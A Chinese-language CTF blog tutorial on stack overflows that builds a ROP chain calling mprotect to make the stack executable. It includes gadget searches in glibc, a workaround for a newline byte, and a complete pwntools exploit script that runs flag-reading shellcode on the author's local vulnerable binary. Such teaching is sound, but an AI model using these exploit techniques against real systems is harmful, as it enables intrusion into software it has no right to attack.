virusdefender's blog ʕ•ᴥ•ʔ

二进制安全之栈溢出(七)

本篇文章会使用一个稍复杂的 gadget,同时解决 gadget 含有换行符带来的问题。

mprotect

之前使用 vmmap 命令的时候会注意到有一列是内存地址的权限,rwx 和文件系统的一致,NX 不可执行就是没有 x 权限,当然这不是绝对的,使用 mprotect 可以修改这个权限,这样的话,就可以在栈上执行 shellcode 了。

 1gdb-peda$ vmmap
 2Start              End                Perm	Name
 30x00400000         0x00401000         r-xp	/home/virusdefender/Desktop/pwn/new/vuln
 40x00600000         0x00601000         r--p	/home/virusdefender/Desktop/pwn/new/vuln
 50x00601000         0x00602000         rw-p	/home/virusdefender/Desktop/pwn/new/vuln
 60x00602000         0x00623000         rw-p	[heap]
 70x00007ffff7a0d000 0x00007ffff7bcd000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
 80x00007ffff7bcd000 0x00007ffff7dcd000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
 90x00007ffff7dcd000 0x00007ffff7dd1000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
100x00007ffff7dd1000 0x00007ffff7dd3000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
110x00007ffff7dd3000 0x00007ffff7dd7000 rw-p	mapped
120x00007ffff7dd7000 0x00007ffff7dfd000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
130x00007ffff7fda000 0x00007ffff7fdd000 rw-p	mapped
140x00007ffff7ff6000 0x00007ffff7ff8000 rw-p	mapped
150x00007ffff7ff8000 0x00007ffff7ffa000 r--p	[vvar]
160x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
170x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
180x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
190x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
200x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
210xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

函数原型是 int mprotect(void *addr, size_t len, int prot);addr 是内存地址开头,len 是长度,prot 就是权限位,在 manpage 上有 PROT_WRITEPROT_EXECPROT_READ 等几项,权限是位运算之后的数字,根据宏定义, rwx 就是 0x1 | 0x2 | 0x4

需要注意的是 mprotect 修改的内存的起始地址必须和内存页对齐,范围也必须是内存页大小的整数倍,否则系统调用会失败,详见 manpage。getconf PAGESIZE 可以获取内存页大小,默认是 4096

ROP 构造 gadget

mprotecct 有三个参数,就会使用 rdi, rsi, rdx 寄存器。如果想让整个栈区可执行的话,在 vmmap 可以获取栈区的开头和结尾地址,那三个寄存器的值就分别是 0x00007ffffffde0000x00007ffffffff000 - 0x00007ffffffde0000x1 | 0x2 | 0x4。然后在调用 mproect 系统系统调用的时候,rax 寄存器是系统调用号 0xa。所以按照之前的文章,只要能找到下面这些 gadget 就可以了。

1pop rdi; ret;
2pop rsi; ret;
3pop rdx; ret;
4pop rax; ret;
5syscall; ret;

但是有些事情总不会太直接,能在二进制文件中只能找到两个 gadget,其中第二个有一个寄存器是没用的,但是并不影响。

1➜  new ROPgadget --binary vuln | grep "pop rdi"
20x0000000000400803 : pop rdi ; ret
3
4➜  new ROPgadget --binary vuln | grep "pop rsi"
50x0000000000400801 : pop rsi ; pop r15 ; ret

这个时候可以去 glibc 中找了。

 1# 这个文件处理比较慢,可以先保存下结果
 2➜  new ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 > libc.gadget
 3
 4➜  new grep "pop rdx ; ret" libc.gadget
 50x0000000000001b92 : pop rdx ; ret
 6
 7➜  new grep "pop rax ; ret" libc.gadget
 80x0000000000033542 : add al, ch ; pop rax ; ret
 9
10➜  new grep "syscall ; ret" libc.gadget
110x00000000000bc375 : syscall ; ret

如果已知 glibc 的加载基址,使用基址加上上面的地址就可以了,这个基址目前可以在 vmmap 或者 ldd 中看到。

0xa

如果按照上面的说法直接写 shellcode,会发现栈上的数据并不全,再认真的调试就会发现,shellcode 中含有 0xa,也就是 \n 的 ascii,因为 shellcode 是 gets 读入的,所以就会在这里被截断。

我选择了先 pop rax0x9,然后 add rax, 1; ret 的 gadget。

1➜  new grep "add rax, 1 ; ret" libc.gadget
20x00000000000abf40 : add rax, 1 ; ret

shellcode

 1from pwn import *
 2
 3student = 0x7fffffffe2f0
 4shellcode = "1925\n"
 5cat = asm(shellcraft.amd64.linux.cat("flag"), arch="amd64", os="linux")
 6shellcode += cat + "A" * (0x7fffffffe348 - student - len(cat))
 7
 8# pop rdi; ret
 9shellcode += p64(0x0000000000400803)
10# mprotect arg1 addr -> rdi
11shellcode += p64(0x00007ffffffde000)
12
13# pop rsi; pop r15; ret;
14shellcode += p64(0x0000000000400801)
15# mprotect arg2 size -> rsi
16shellcode += p64(0x00007ffffffff000 - 0x00007ffffffde000)
17# -> r15
18shellcode += p64(0)
19
20libc_base = 0x00007ffff7a0d000
21
22# pop rdx; ret;
23shellcode += p64(libc_base + 0x0000000000001b92)
24# mprotect arg3 rwx -> rdx
25shellcode += p64(0x1 | 0x2 | 0x4)
26
27# pop rax; ret
28shellcode += p64(libc_base + 0x0000000000033544)
29# -> rax
30shellcode += p64(0xa - 1)
31
32# add rax, 1; ret
33shellcode += p64(libc_base + 0x00000000000abf40)
34
35# syscalll; ret
36shellcode += p64(libc_base + 0x00000000000bc375)
37
38# shellcode
39shellcode += p64(student)
40
41print shellcode

运行后可以看到栈区的内存已经是 rwx 的权限了。

10x00007ffffffde000 0x00007ffffffff000 rwxp	[stack]

评论区



评论区

Werner 2021-06-19 11:31:19
如果 ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 找不到 gadget "syscall ret",可以尝试添加参数 --multibr。

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全 #CTF